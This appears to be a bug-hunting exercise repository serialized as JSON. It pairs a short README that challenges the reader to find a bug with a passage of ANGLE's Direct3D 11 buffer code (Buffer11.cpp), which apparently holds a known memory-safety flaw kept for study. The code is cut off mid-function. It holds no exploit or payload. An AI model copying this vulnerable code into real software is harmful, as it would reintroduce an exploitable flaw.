[
  {
    "path": "LEVEL_1/README.md",
    "content": "# LEVEL 1\n\nI will collect some related code and useful descriptions, in order to provide all your demands. But if you feel these not enough, you need to search yourself.\n\nFind the bug yourself, and if you feel difficult can see tips or the answer. \n\nI believe you can do better than me.\n\n"
  },
  {
    "path": "LEVEL_1/exercise_1/Buffer11.cpp",
    "content": "//\n// Copyright 2014 The ANGLE Project Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n//\n// Buffer11.cpp Defines the Buffer11 class.\n#include \"libANGLE/renderer/d3d/d3d11/Buffer11.h\"\n#include <memory>\n#include \"common/MemoryBuffer.h\"\n#include \"libANGLE/Context.h\"\n#include \"libANGLE/renderer/d3d/IndexDataManager.h\"\n#include \"libANGLE/renderer/d3d/VertexDataManager.h\"\n#include \"libANGLE/renderer/d3d/d3d11/Context11.h\"\n#include \"libANGLE/renderer/d3d/d3d11/RenderTarget11.h\"\n#include \"libANGLE/renderer/d3d/d3d11/Renderer11.h\"\n#include \"libANGLE/renderer/d3d/d3d11/formatutils11.h\"\n#include \"libANGLE/renderer/d3d/d3d11/renderer11_utils.h\"\n#include \"libANGLE/renderer/renderer_utils.h\"\nnamespace rx\n{\nnamespace\n{\ntemplate <typename T>\nGLuint ReadIndexValueFromIndices(const uint8_t *data, size_t index)\n{\n    return reinterpret_cast<const T *>(data)[index];\n}\ntypedef GLuint (*ReadIndexValueFunction)(const uint8_t *data, size_t index);\nenum class CopyResult\n{\n    RECREATED,\n    NOT_RECREATED,\n};\nvoid CalculateConstantBufferParams(GLintptr offset,\n                                   GLsizeiptr size,\n                                   UINT *outFirstConstant,\n                                   UINT *outNumConstants)\n{\n    // The offset must be aligned to 256 bytes (should have been enforced by glBindBufferRange).\n    ASSERT(offset % 256 == 0);\n    // firstConstant and numConstants are expressed in constants of 16-bytes. Furthermore they must\n    // be a multiple of 16 constants.\n    *outFirstConstant = static_cast<UINT>(offset / 16);\n    // The GL size is not required to be aligned to a 256 bytes boundary.\n    // Round the size up to a 256 bytes boundary then express the results in constants of 16-bytes.\n    *outNumConstants = static_cast<UINT>(rx::roundUp(size, static_cast<GLsizeiptr>(256)) / 16);\n    // Since the size is rounded up, firstConstant + numConstants may be bigger than the actual size\n    // of the buffer. This behaviour is explictly allowed according to the documentation on\n    // ID3D11DeviceContext1::PSSetConstantBuffers1\n    // https://msdn.microsoft.com/en-us/library/windows/desktop/hh404649%28v=vs.85%29.aspx\n}\n}  // anonymous namespace\nnamespace gl_d3d11\n{\nD3D11_MAP GetD3DMapTypeFromBits(BufferUsage usage, GLbitfield access)\n{\n    bool readBit  = ((access & GL_MAP_READ_BIT) != 0);\n    bool writeBit = ((access & GL_MAP_WRITE_BIT) != 0);\n    ASSERT(readBit || writeBit);\n    // Note : we ignore the discard bit, because in D3D11, staging buffers\n    //  don't accept the map-discard flag (discard only works for DYNAMIC usage)\n    if (readBit && !writeBit)\n    {\n        return D3D11_MAP_READ;\n    }\n    else if (writeBit && !readBit)\n    {\n        // Special case for uniform storage - we only allow full buffer updates.\n        return usage == BUFFER_USAGE_UNIFORM || usage == BUFFER_USAGE_STRUCTURED\n                   ? D3D11_MAP_WRITE_DISCARD\n                   : D3D11_MAP_WRITE;\n    }\n    else if (writeBit && readBit)\n    {\n        return D3D11_MAP_READ_WRITE;\n    }\n    else\n    {\n        UNREACHABLE();\n        return D3D11_MAP_READ;\n    }\n}\n}  // namespace gl_d3d11\n// Each instance of Buffer11::BufferStorage is specialized for a class of D3D binding points\n// - vertex/transform feedback buffers\n// - index buffers\n// - pixel unpack buffers\n// - uniform buffers\nclass Buffer11::BufferStorage : angle::NonCopyable\n{\n  public:\n    virtual ~BufferStorage() {}\n    DataRevision getDataRevision() const { return mRevision; }\n    BufferUsage getUsage() const { return mUsage; }\n    size_t getSize() const { return mBufferSize; }\n    void setDataRevision(DataRevision rev) { mRevision = rev; }\n    virtual bool isCPUAccessible(GLbitfield access) const = 0;\n    virtual bool isGPUAccessible() const = 0;\n    virtual angle::Result copyFromStorage(const gl::Context *context,\n                                          BufferStorage *source,\n                                          size_t sourceOffset,\n                                          size_t size,\n                                          size_t destOffset,\n                                          CopyResult *resultOut)                             = 0;\n    virtual angle::Result resize(const gl::Context *context, size_t size, bool preserveData) = 0;\n    virtual angle::Result map(const gl::Context *context,\n                              size_t offset,\n                              size_t length,\n                              GLbitfield access,\n                              uint8_t **mapPointerOut) = 0;\n    virtual void unmap()                               = 0;\n    angle::Result setData(const gl::Context *context,\n                          const uint8_t *data,\n                          size_t offset,\n                          size_t size);\n    void setStructureByteStride(unsigned int structureByteStride);\n  protected:\n    BufferStorage(Renderer11 *renderer, BufferUsage usage);\n    Renderer11 *mRenderer;\n    DataRevision mRevision;\n    const BufferUsage mUsage;\n    size_t mBufferSize;\n};\n// A native buffer storage represents an underlying D3D11 buffer for a particular\n// type of storage.\nclass Buffer11::NativeStorage : public Buffer11::BufferStorage\n{\n  public:\n    NativeStorage(Renderer11 *renderer, BufferUsage usage, const angle::Subject *onStorageChanged);\n    ~NativeStorage() override;\n    bool isCPUAccessible(GLbitfield access) const override;\n    bool isGPUAccessible() const override { return true; }\n    const d3d11::Buffer &getBuffer() const { return mBuffer; }\n    angle::Result copyFromStorage(const gl::Context *context,\n                                  BufferStorage *source,\n                                  size_t sourceOffset,\n                                  size_t size,\n                                  size_t destOffset,\n                                  CopyResult *resultOut) override;\n    angle::Result resize(const gl::Context *context, size_t size, bool preserveData) override;\n    angle::Result map(const gl::Context *context,\n                      size_t offset,\n                      size_t length,\n                      GLbitfield access,\n                      uint8_t **mapPointerOut) override;\n    void unmap() override;\n    angle::Result getSRVForFormat(const gl::Context *context,\n                                  DXGI_FORMAT srvFormat,\n                                  const d3d11::ShaderResourceView **srvOut);\n    angle::Result getRawUAV(const gl::Context *context,\n                            unsigned int offset,\n                            unsigned int size,\n                            d3d11::UnorderedAccessView **uavOut);\n  protected:\n    d3d11::Buffer mBuffer;\n    const angle::Subject *mOnStorageChanged;\n  private:\n    static void FillBufferDesc(D3D11_BUFFER_DESC *bufferDesc,\n                               Renderer11 *renderer,\n                               BufferUsage usage,\n                               unsigned int bufferSize);\n    void clearSRVs();\n    void clearUAVs();\n    std::map<DXGI_FORMAT, d3d11::ShaderResourceView> mBufferResourceViews;\n    std::map<std::pair<unsigned int, unsigned int>, d3d11::UnorderedAccessView> mBufferRawUAVs;\n};\nclass Buffer11::StructuredBufferStorage : public Buffer11::NativeStorage\n{\n  public:\n    StructuredBufferStorage(Renderer11 *renderer,\n                            BufferUsage usage,\n                            const angle::Subject *onStorageChanged);\n    ~StructuredBufferStorage() override;\n    angle::Result resizeStructuredBuffer(const gl::Context *context,\n                                         unsigned int size,\n                                         unsigned int structureByteStride);\n    angle::Result getStructuredBufferRangeSRV(const gl::Context *context,\n                                              unsigned int offset,\n                                              unsigned int size,\n                                              unsigned int structureByteStride,\n                                              const d3d11::ShaderResourceView **bufferOut);\n  private:\n    d3d11::ShaderResourceView mStructuredBufferResourceView;\n};\n// A emulated indexed buffer storage represents an underlying D3D11 buffer for data\n// that has been expanded to match the indices list used. This storage is only\n// used for FL9_3 pointsprite rendering emulation.\nclass Buffer11::EmulatedIndexedStorage : public Buffer11::BufferStorage\n{\n  public:\n    EmulatedIndexedStorage(Renderer11 *renderer);\n    ~EmulatedIndexedStorage() override;\n    bool isCPUAccessible(GLbitfield access) const override { return true; }\n    bool isGPUAccessible() const override { return false; }\n    angle::Result getBuffer(const gl::Context *context,\n                            SourceIndexData *indexInfo,\n                            const TranslatedAttribute &attribute,\n                            GLint startVertex,\n                            const d3d11::Buffer **bufferOut);\n    angle::Result copyFromStorage(const gl::Context *context,\n                                  BufferStorage *source,\n                                  size_t sourceOffset,\n                                  size_t size,\n                                  size_t destOffset,\n                                  CopyResult *resultOut) override;\n    angle::Result resize(const gl::Context *context, size_t size, bool preserveData) override;\n    angle::Result map(const gl::Context *context,\n                      size_t offset,\n                      size_t length,\n                      GLbitfield access,\n                      uint8_t **mapPointerOut) override;\n    void unmap() override;\n  private:\n    d3d11::Buffer mBuffer;                     // contains expanded data for use by D3D\n    angle::MemoryBuffer mMemoryBuffer;         // original data (not expanded)\n    angle::MemoryBuffer mIndicesMemoryBuffer;  // indices data\n};\n// Pack storage represents internal storage for pack buffers. We implement pack buffers\n// as CPU memory, tied to a staging texture, for asynchronous texture readback.\nclass Buffer11::PackStorage : public Buffer11::BufferStorage\n{\n  public:\n    explicit PackStorage(Renderer11 *renderer);\n    ~PackStorage() override;\n    bool isCPUAccessible(GLbitfield access) const override { return true; }\n    bool isGPUAccessible() const override { return false; }\n    angle::Result copyFromStorage(const gl::Context *context,\n                                  BufferStorage *source,\n                                  size_t sourceOffset,\n                                  size_t size,\n                                  size_t destOffset,\n                                  CopyResult *resultOut) override;\n    angle::Result resize(const gl::Context *context, size_t size, bool preserveData) override;\n    angle::Result map(const gl::Context *context,\n                      size_t offset,\n                      size_t length,\n                      GLbitfield access,\n                      uint8_t **mapPointerOut) override;\n    void unmap() override;\n    angle::Result packPixels(const gl::Context *context,\n                             const gl::FramebufferAttachment &readAttachment,\n                             const PackPixelsParams &params);\n  private:\n    angle::Result flushQueuedPackCommand(const gl::Context *context);\n    TextureHelper11 mStagingTexture;\n    angle::MemoryBuffer mMemoryBuffer;\n    std::unique_ptr<PackPixelsParams> mQueuedPackCommand;\n    PackPixelsParams mPackParams;\n    bool mDataModified;\n};\n// System memory storage stores a CPU memory buffer with our buffer data.\n// For dynamic data, it's much faster to update the CPU memory buffer than\n// it is to update a D3D staging buffer and read it back later.\nclass Buffer11::SystemMemoryStorage : public Buffer11::BufferStorage\n{\n  public:\n    explicit SystemMemoryStorage(Renderer11 *renderer);\n    ~SystemMemoryStorage() override {}\n    bool isCPUAccessible(GLbitfield access) const override { return true; }\n    bool isGPUAccessible() const override { return false; }\n    angle::Result copyFromStorage(const gl::Context *context,\n                                  BufferStorage *source,\n                                  size_t sourceOffset,\n                                  size_t size,\n                                  size_t destOffset,\n                                  CopyResult *resultOut) override;\n    angle::Result resize(const gl::Context *context, size_t size, bool preserveData) override;\n    angle::Result map(const gl::Context *context,\n                      size_t offset,\n                      size_t length,\n                      GLbitfield access,\n                      uint8_t **mapPointerOut) override;\n    void unmap() override;\n    angle::MemoryBuffer *getSystemCopy() { return &mSystemCopy; }\n  protected:\n    angle::MemoryBuffer mSystemCopy;\n};\nBuffer11::Buffer11(const gl::BufferState &state, Renderer11 *renderer)\n    : BufferD3D(state, renderer),\n      mRenderer(renderer),\n      mSize(0),\n      mMappedStorage(nullptr),\n      mBufferStorages({}),\n      mLatestBufferStorage(nullptr),\n      mDeallocThresholds({}),\n      mIdleness({}),\n      mConstantBufferStorageAdditionalSize(0),\n      mMaxConstantBufferLruCount(0),\n      mStructuredBufferStorageAdditionalSize(0),\n      mMaxStructuredBufferLruCount(0)\n{}\nBuffer11::~Buffer11()\n{\n    for (BufferStorage *&storage : mBufferStorages)\n    {\n        SafeDelete(storage);\n    }\n    for (auto &p : mConstantBufferRangeStoragesCache)\n    {\n        SafeDelete(p.second.storage);\n    }\n    for (auto &p : mStructuredBufferRangeStoragesCache)\n    {\n        SafeDelete(p.second.storage);\n    }\n    mRenderer->onBufferDelete(this);\n}\nangle::Result Buffer11::setData(const gl::Context *context,\n                                gl::BufferBinding target,\n                                const void *data,\n                                size_t size,\n                                gl::BufferUsage usage)\n{\n    updateD3DBufferUsage(context, usage);\n    return setSubData(context, target, data, size, 0);\n}\nangle::Result Buffer11::getData(const gl::Context *context, const uint8_t **outData)\n{\n    if (mSize == 0)\n    {\n        // TODO(http://anglebug.com/2840): This ensures that we don't crash or assert in robust\n        // buffer access behavior mode if there are buffers without any data. However, technically\n        // it should still be possible to draw, with fetches from this buffer returning zero.\n        return angle::Result::Stop;\n    }\n    SystemMemoryStorage *systemMemoryStorage = nullptr;\n    ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_SYSTEM_MEMORY, &systemMemoryStorage));\n    ASSERT(systemMemoryStorage->getSize() >= mSize);\n    *outData = systemMemoryStorage->getSystemCopy()->data();\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::setSubData(const gl::Context *context,\n                                   gl::BufferBinding target,\n                                   const void *data,\n                                   size_t size,\n                                   size_t offset)\n{\n    size_t requiredSize = size + offset;\n    if (data && size > 0)\n    {\n        // Use system memory storage for dynamic buffers.\n        // Try using a constant storage for constant buffers\n        BufferStorage *writeBuffer = nullptr;\n        if (target == gl::BufferBinding::Uniform)\n        {\n            // If we are a very large uniform buffer, keep system memory storage around so that we\n            // aren't forced to read back from a constant buffer. We also check the workaround for\n            // Intel - this requires us to use system memory so we don't end up having to copy from\n            // a constant buffer to a staging buffer.\n            // TODO(jmadill): Use Context caps.\n            if (offset == 0 && size >= mSize &&\n                size <= static_cast<UINT>(mRenderer->getNativeCaps().maxUniformBlockSize) &&\n                !mRenderer->getFeatures().useSystemMemoryForConstantBuffers.enabled)\n            {\n                BufferStorage *latestStorage = nullptr;\n                ANGLE_TRY(getLatestBufferStorage(context, &latestStorage));\n                if (latestStorage && (latestStorage->getUsage() == BUFFER_USAGE_STRUCTURED))\n                {\n                    ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_STRUCTURED, &writeBuffer));\n                }\n                else\n                {\n                    ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_UNIFORM, &writeBuffer));\n                }\n            }\n            else\n            {\n                ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_SYSTEM_MEMORY, &writeBuffer));\n            }\n        }\n        else if (supportsDirectBinding())\n        {\n            ANGLE_TRY(getStagingStorage(context, &writeBuffer));\n        }\n        else\n        {\n            ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_SYSTEM_MEMORY, &writeBuffer));\n        }\n        ASSERT(writeBuffer);\n        // Explicitly resize the staging buffer, preserving data if the new data will not\n        // completely fill the buffer\n        if (writeBuffer->getSize() < requiredSize)\n        {\n            bool preserveData = (offset > 0);\n            ANGLE_TRY(writeBuffer->resize(context, requiredSize, preserveData));\n        }\n        ANGLE_TRY(writeBuffer->setData(context, static_cast<const uint8_t *>(data), offset, size));\n        onStorageUpdate(writeBuffer);\n    }\n    mSize = std::max(mSize, requiredSize);\n    invalidateStaticData(context);\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::copySubData(const gl::Context *context,\n                                    BufferImpl *source,\n                                    GLintptr sourceOffset,\n                                    GLintptr destOffset,\n                                    GLsizeiptr size)\n{\n    Buffer11 *sourceBuffer = GetAs<Buffer11>(source);\n    ASSERT(sourceBuffer != nullptr);\n    BufferStorage *copyDest = nullptr;\n    ANGLE_TRY(getLatestBufferStorage(context, &copyDest));\n    if (!copyDest)\n    {\n        ANGLE_TRY(getStagingStorage(context, &copyDest));\n    }\n    BufferStorage *copySource = nullptr;\n    ANGLE_TRY(sourceBuffer->getLatestBufferStorage(context, &copySource));\n    if (!copySource)\n    {\n        ANGLE_TRY(sourceBuffer->getStagingStorage(context, &copySource));\n    }\n    ASSERT(copySource && copyDest);\n    // A staging buffer is needed if there is no cpu-cpu or gpu-gpu copy path avaiable.\n    if (!copyDest->isGPUAccessible() && !copySource->isCPUAccessible(GL_MAP_READ_BIT))\n    {\n        ANGLE_TRY(sourceBuffer->getStagingStorage(context, &copySource));\n    }\n    else if (!copySource->isGPUAccessible() && !copyDest->isCPUAccessible(GL_MAP_WRITE_BIT))\n    {\n        ANGLE_TRY(getStagingStorage(context, &copyDest));\n    }\n    // D3D11 does not allow overlapped copies until 11.1, and only if the\n    // device supports D3D11_FEATURE_DATA_D3D11_OPTIONS::CopyWithOverlap\n    // Get around this via a different source buffer\n    if (copySource == copyDest)\n    {\n        if (copySource->getUsage() == BUFFER_USAGE_STAGING)\n        {\n            ANGLE_TRY(\n                getBufferStorage(context, BUFFER_USAGE_VERTEX_OR_TRANSFORM_FEEDBACK, &copySource));\n        }\n        else\n        {\n            ANGLE_TRY(getStagingStorage(context, &copySource));\n        }\n    }\n    CopyResult copyResult = CopyResult::NOT_RECREATED;\n    ANGLE_TRY(copyDest->copyFromStorage(context, copySource, sourceOffset, size, destOffset,\n                                        &copyResult));\n    onStorageUpdate(copyDest);\n    mSize = std::max<size_t>(mSize, destOffset + size);\n    invalidateStaticData(context);\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::map(const gl::Context *context, GLenum access, void **mapPtr)\n{\n    // GL_OES_mapbuffer uses an enum instead of a bitfield for it's access, convert to a bitfield\n    // and call mapRange.\n    ASSERT(access == GL_WRITE_ONLY_OES);\n    return mapRange(context, 0, mSize, GL_MAP_WRITE_BIT, mapPtr);\n}\nangle::Result Buffer11::mapRange(const gl::Context *context,\n                                 size_t offset,\n                                 size_t length,\n                                 GLbitfield access,\n                                 void **mapPtr)\n{\n    ASSERT(!mMappedStorage);\n    BufferStorage *latestStorage = nullptr;\n    ANGLE_TRY(getLatestBufferStorage(context, &latestStorage));\n    if (latestStorage && (latestStorage->getUsage() == BUFFER_USAGE_PIXEL_PACK ||\n                          latestStorage->getUsage() == BUFFER_USAGE_STAGING))\n    {\n        // Latest storage is mappable.\n        mMappedStorage = latestStorage;\n    }\n    else\n    {\n        // Fall back to using the staging buffer if the latest storage does not exist or is not\n        // CPU-accessible.\n        ANGLE_TRY(getStagingStorage(context, &mMappedStorage));\n    }\n    Context11 *context11 = GetImplAs<Context11>(context);\n    ANGLE_CHECK_GL_ALLOC(context11, mMappedStorage);\n    if ((access & GL_MAP_WRITE_BIT) > 0)\n    {\n        // Update the data revision immediately, since the data might be changed at any time\n        onStorageUpdate(mMappedStorage);\n        invalidateStaticData(context);\n    }\n    uint8_t *mappedBuffer = nullptr;\n    ANGLE_TRY(mMappedStorage->map(context, offset, length, access, &mappedBuffer));\n    ASSERT(mappedBuffer);\n    *mapPtr = static_cast<void *>(mappedBuffer);\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::unmap(const gl::Context *context, GLboolean *result)\n{\n    ASSERT(mMappedStorage);\n    mMappedStorage->unmap();\n    mMappedStorage = nullptr;\n    // TODO: detect if we had corruption. if so, return false.\n    *result = GL_TRUE;\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::markTransformFeedbackUsage(const gl::Context *context)\n{\n    ANGLE_TRY(markBufferUsage(context, BUFFER_USAGE_VERTEX_OR_TRANSFORM_FEEDBACK));\n    return angle::Result::Continue;\n}\nvoid Buffer11::updateDeallocThreshold(BufferUsage usage)\n{\n    // The following strategy was tuned on the Oort online benchmark (http://oortonline.gl/)\n    // as well as a custom microbenchmark (IndexConversionPerfTest.Run/index_range_d3d11)\n    // First readback: 8 unmodified uses before we free buffer memory.\n    // After that, double the threshold each time until we reach the max.\n    if (mDeallocThresholds[usage] == 0)\n    {\n        mDeallocThresholds[usage] = 8;\n    }\n    else if (mDeallocThresholds[usage] < std::numeric_limits<unsigned int>::max() / 2u)\n    {\n        mDeallocThresholds[usage] *= 2u;\n    }\n    else\n    {\n        mDeallocThresholds[usage] = std::numeric_limits<unsigned int>::max();\n    }\n}\n// Free the storage if we decide it isn't being used very often.\nangle::Result Buffer11::checkForDeallocation(const gl::Context *context, BufferUsage usage)\n{\n    mIdleness[usage]++;\n    BufferStorage *&storage = mBufferStorages[usage];\n    if (storage != nullptr && mIdleness[usage] > mDeallocThresholds[usage])\n    {\n        BufferStorage *latestStorage = nullptr;\n        ANGLE_TRY(getLatestBufferStorage(context, &latestStorage));\n        if (latestStorage != storage)\n        {\n            SafeDelete(storage);\n        }\n    }\n    return angle::Result::Continue;\n}\n// Keep system memory when we are using it for the canonical version of data.\nbool Buffer11::canDeallocateSystemMemory() const\n{\n    // Must keep system memory on Intel.\n    if (mRenderer->getFeatures().useSystemMemoryForConstantBuffers.enabled)\n    {\n        return false;\n    }\n    return (!mBufferStorages[BUFFER_USAGE_UNIFORM] ||\n            mSize <= static_cast<size_t>(mRenderer->getNativeCaps().maxUniformBlockSize));\n}\nvoid Buffer11::markBufferUsage(BufferUsage usage)\n{\n    mIdleness[usage] = 0;\n}\nangle::Result Buffer11::markBufferUsage(const gl::Context *context, BufferUsage usage)\n{\n    BufferStorage *bufferStorage = nullptr;\n    ANGLE_TRY(getBufferStorage(context, usage, &bufferStorage));\n    if (bufferStorage)\n    {\n        onStorageUpdate(bufferStorage);\n    }\n    invalidateStaticData(context);\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::garbageCollection(const gl::Context *context, BufferUsage currentUsage)\n{\n    if (currentUsage != BUFFER_USAGE_SYSTEM_MEMORY && canDeallocateSystemMemory())\n    {\n        ANGLE_TRY(checkForDeallocation(context, BUFFER_USAGE_SYSTEM_MEMORY));\n    }\n    if (currentUsage != BUFFER_USAGE_STAGING)\n    {\n        ANGLE_TRY(checkForDeallocation(context, BUFFER_USAGE_STAGING));\n    }\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::getBuffer(const gl::Context *context,\n                                  BufferUsage usage,\n                                  ID3D11Buffer **bufferOut)\n{\n    NativeStorage *storage = nullptr;\n    ANGLE_TRY(getBufferStorage(context, usage, &storage));\n    *bufferOut = storage->getBuffer().get();\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::getEmulatedIndexedBuffer(const gl::Context *context,\n                                                 SourceIndexData *indexInfo,\n                                                 const TranslatedAttribute &attribute,\n                                                 GLint startVertex,\n                                                 ID3D11Buffer **bufferOut)\n{\n    ASSERT(indexInfo);\n    EmulatedIndexedStorage *emulatedStorage = nullptr;\n    ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_EMULATED_INDEXED_VERTEX, &emulatedStorage));\n    const d3d11::Buffer *nativeBuffer = nullptr;\n    ANGLE_TRY(\n        emulatedStorage->getBuffer(context, indexInfo, attribute, startVertex, &nativeBuffer));\n    *bufferOut = nativeBuffer->get();\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::getConstantBufferRange(const gl::Context *context,\n                                               GLintptr offset,\n                                               GLsizeiptr size,\n                                               const d3d11::Buffer **bufferOut,\n                                               UINT *firstConstantOut,\n                                               UINT *numConstantsOut)\n{\n    NativeStorage *bufferStorage = nullptr;\n    if ((offset == 0 &&\n         size < static_cast<GLsizeiptr>(mRenderer->getNativeCaps().maxUniformBlockSize)) ||\n        mRenderer->getRenderer11DeviceCaps().supportsConstantBufferOffsets)\n    {\n        ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_UNIFORM, &bufferStorage));\n        CalculateConstantBufferParams(offset, size, firstConstantOut, numConstantsOut);\n    }\n    else\n    {\n        ANGLE_TRY(getConstantBufferRangeStorage(context, offset, size, &bufferStorage));\n        *firstConstantOut = 0;\n        *numConstantsOut  = 0;\n    }\n    *bufferOut = &bufferStorage->getBuffer();\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::markRawBufferUsage(const gl::Context *context)\n{\n    ANGLE_TRY(markBufferUsage(context, BUFFER_USAGE_RAW_UAV));\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::getRawUAVRange(const gl::Context *context,\n                                       GLintptr offset,\n                                       GLsizeiptr size,\n                                       d3d11::UnorderedAccessView **uavOut)\n{\n    NativeStorage *nativeStorage = nullptr;\n    ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_RAW_UAV, &nativeStorage));\n    return nativeStorage->getRawUAV(context, static_cast<unsigned int>(offset),\n                                    static_cast<unsigned int>(size), uavOut);\n}\nangle::Result Buffer11::getSRV(const gl::Context *context,\n                               DXGI_FORMAT srvFormat,\n                               const d3d11::ShaderResourceView **srvOut)\n{\n    NativeStorage *nativeStorage = nullptr;\n    ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_PIXEL_UNPACK, &nativeStorage));\n    return nativeStorage->getSRVForFormat(context, srvFormat, srvOut);\n}\nangle::Result Buffer11::packPixels(const gl::Context *context,\n                                   const gl::FramebufferAttachment &readAttachment,\n                                   const PackPixelsParams &params)\n{\n    PackStorage *packStorage = nullptr;\n    ANGLE_TRY(getBufferStorage(context, BUFFER_USAGE_PIXEL_PACK, &packStorage));\n    ASSERT(packStorage);\n    ANGLE_TRY(packStorage->packPixels(context, readAttachment, params));\n    onStorageUpdate(packStorage);\n    return angle::Result::Continue;\n}\nsize_t Buffer11::getTotalCPUBufferMemoryBytes() const\n{\n    size_t allocationSize = 0;\n    BufferStorage *staging = mBufferStorages[BUFFER_USAGE_STAGING];\n    allocationSize += staging ? staging->getSize() : 0;\n    BufferStorage *sysMem = mBufferStorages[BUFFER_USAGE_SYSTEM_MEMORY];\n    allocationSize += sysMem ? sysMem->getSize() : 0;\n    return allocationSize;\n}\ntemplate <typename StorageOutT>\nangle::Result Buffer11::getBufferStorage(const gl::Context *context,\n                                         BufferUsage usage,\n                                         StorageOutT **storageOut)\n{\n    ASSERT(0 <= usage && usage < BUFFER_USAGE_COUNT);\n    BufferStorage *&newStorage = mBufferStorages[usage];\n    if (!newStorage)\n    {\n        newStorage = allocateStorage(usage);\n    }\n    markBufferUsage(usage);\n    // resize buffer\n    if (newStorage->getSize() < mSize)\n    {\n        ANGLE_TRY(newStorage->resize(context, mSize, true));\n    }\n    ASSERT(newStorage);\n    ANGLE_TRY(updateBufferStorage(context, newStorage, 0, mSize));\n    ANGLE_TRY(garbageCollection(context, usage));\n    *storageOut = GetAs<StorageOutT>(newStorage);\n    return angle::Result::Continue;\n}\nBuffer11::BufferStorage *Buffer11::allocateStorage(BufferUsage usage)\n{\n    updateDeallocThreshold(usage);\n    switch (usage)\n    {\n        case BUFFER_USAGE_PIXEL_PACK:\n            return new PackStorage(mRenderer);\n        case BUFFER_USAGE_SYSTEM_MEMORY:\n            return new SystemMemoryStorage(mRenderer);\n        case BUFFER_USAGE_EMULATED_INDEXED_VERTEX:\n            return new EmulatedIndexedStorage(mRenderer);\n        case BUFFER_USAGE_INDEX:\n        case BUFFER_USAGE_VERTEX_OR_TRANSFORM_FEEDBACK:\n            return new NativeStorage(mRenderer, usage, this);\n        case BUFFER_USAGE_STRUCTURED:\n            return new StructuredBufferStorage(mRenderer, usage, nullptr);\n        default:\n            return new NativeStorage(mRenderer, usage, nullptr);\n    }\n}\nangle::Result Buffer11::getConstantBufferRangeStorage(const gl::Context *context,\n                                                      GLintptr offset,\n                                                      GLsizeiptr size,\n                                                      Buffer11::NativeStorage **storageOut)\n{\n    BufferStorage *newStorage;\n    {\n        // Keep the cacheEntry in a limited scope because it may be invalidated later in the code if\n        // we need to reclaim some space.\n        BufferCacheEntry *cacheEntry = &mConstantBufferRangeStoragesCache[offset];\n        if (!cacheEntry->storage)\n        {\n            cacheEntry->storage  = allocateStorage(BUFFER_USAGE_UNIFORM);\n            cacheEntry->lruCount = ++mMaxConstantBufferLruCount;\n        }\n        cacheEntry->lruCount = ++mMaxConstantBufferLruCount;\n        newStorage           = cacheEntry->storage;\n    }\n    markBufferUsage(BUFFER_USAGE_UNIFORM);\n    if (newStorage->getSize() < static_cast<size_t>(size))\n    {\n        size_t maximumAllowedAdditionalSize = 2 * getSize();\n        size_t sizeDelta = size - newStorage->getSize();\n        while (mConstantBufferStorageAdditionalSize + sizeDelta > maximumAllowedAdditionalSize)\n        {\n            auto iter = std::min_element(\n                std::begin(mConstantBufferRangeStoragesCache),\n                std::end(mConstantBufferRangeStoragesCache),\n                [](const BufferCache::value_type &a, const BufferCache::value_type &b) {\n                    return a.second.lruCount < b.second.lruCount;\n                });\n            ASSERT(iter->second.storage != newStorage);\n            ASSERT(mConstantBufferStorageAdditionalSize >= iter->second.storage->getSize());\n            mConstantBufferStorageAdditionalSize -= iter->second.storage->getSize();\n            SafeDelete(iter->second.storage);\n            mConstantBufferRangeStoragesCache.erase(iter);\n        }\n        ANGLE_TRY(newStorage->resize(context, size, false));\n        mConstantBufferStorageAdditionalSize += sizeDelta;\n        // We don't copy the old data when resizing the constant buffer because the data may be\n        // out-of-date therefore we reset the data revision and let updateBufferStorage() handle the\n        // copy.\n        newStorage->setDataRevision(0);\n    }\n    ANGLE_TRY(updateBufferStorage(context, newStorage, offset, size));\n    ANGLE_TRY(garbageCollection(context, BUFFER_USAGE_UNIFORM));\n    *storageOut = GetAs<NativeStorage>(newStorage);\n    return angle::Result::Continue;\n}\nangle::Result Buffer11::getStructuredBufferRangeSRV(const gl::Context *context,\n                                                    unsigned int offset,\n                                                    unsigned int size,\n                                                    unsigned int structureByteStride,\n                                                    const d3d11::ShaderResourceView **srvOut)\n{\n    BufferStorage *newStorage;\n    {\n        // Keep the cacheEntry in a limited scope because it may be invalidated later in the code if\n        // we need to reclaim some space.\n        StructuredBufferKey structuredBufferKey = StructuredBufferKey(offset, structureByteStride);\n        BufferCacheEntry *cacheEntry = &mStructuredBufferRangeStoragesCache[structuredBufferKey];\n        if (!cacheEntry->storage)\n        {\n            cacheEntry->storage  = allocateStorage(BUFFER_USAGE_STRUCTURED);\n            cacheEntry->lruCount = ++mMaxStructuredBufferLruCount;\n        }\n        cacheEntry->lruCount = ++mMaxStructuredBufferLruCount;\n        newStorage           = cacheEntry->storage;\n    }\n    StructuredBufferStorage *structuredBufferStorage = GetAs<StructuredBufferStorage>(newStorage);\n    markBufferUsage(BUFFER_USAGE_STRUCTURED);\n    if (newStorage->getSize() < static_cast<size_t>(size))\n    {\n        size_t maximumAllowedAdditionalSize = 2 * getSize();\n        size_t sizeDelta = static_cast<size_t>(size) - newStorage->getSize();\n        while (mStructuredBufferStorageAdditionalSize + sizeDelta > maximumAllowedAdditionalSize)\n        {\n            auto iter = std::min_element(std::begin(mStructuredBufferRangeStoragesCache),\n                                         std::end(mStructuredBufferRangeStoragesCache),\n                                         [](const StructuredBufferCache::value_type &a,\n                                            const StructuredBufferCache::value_type &b) {\n                                             return a.second.lruCount < b.second.lruCount;\n                 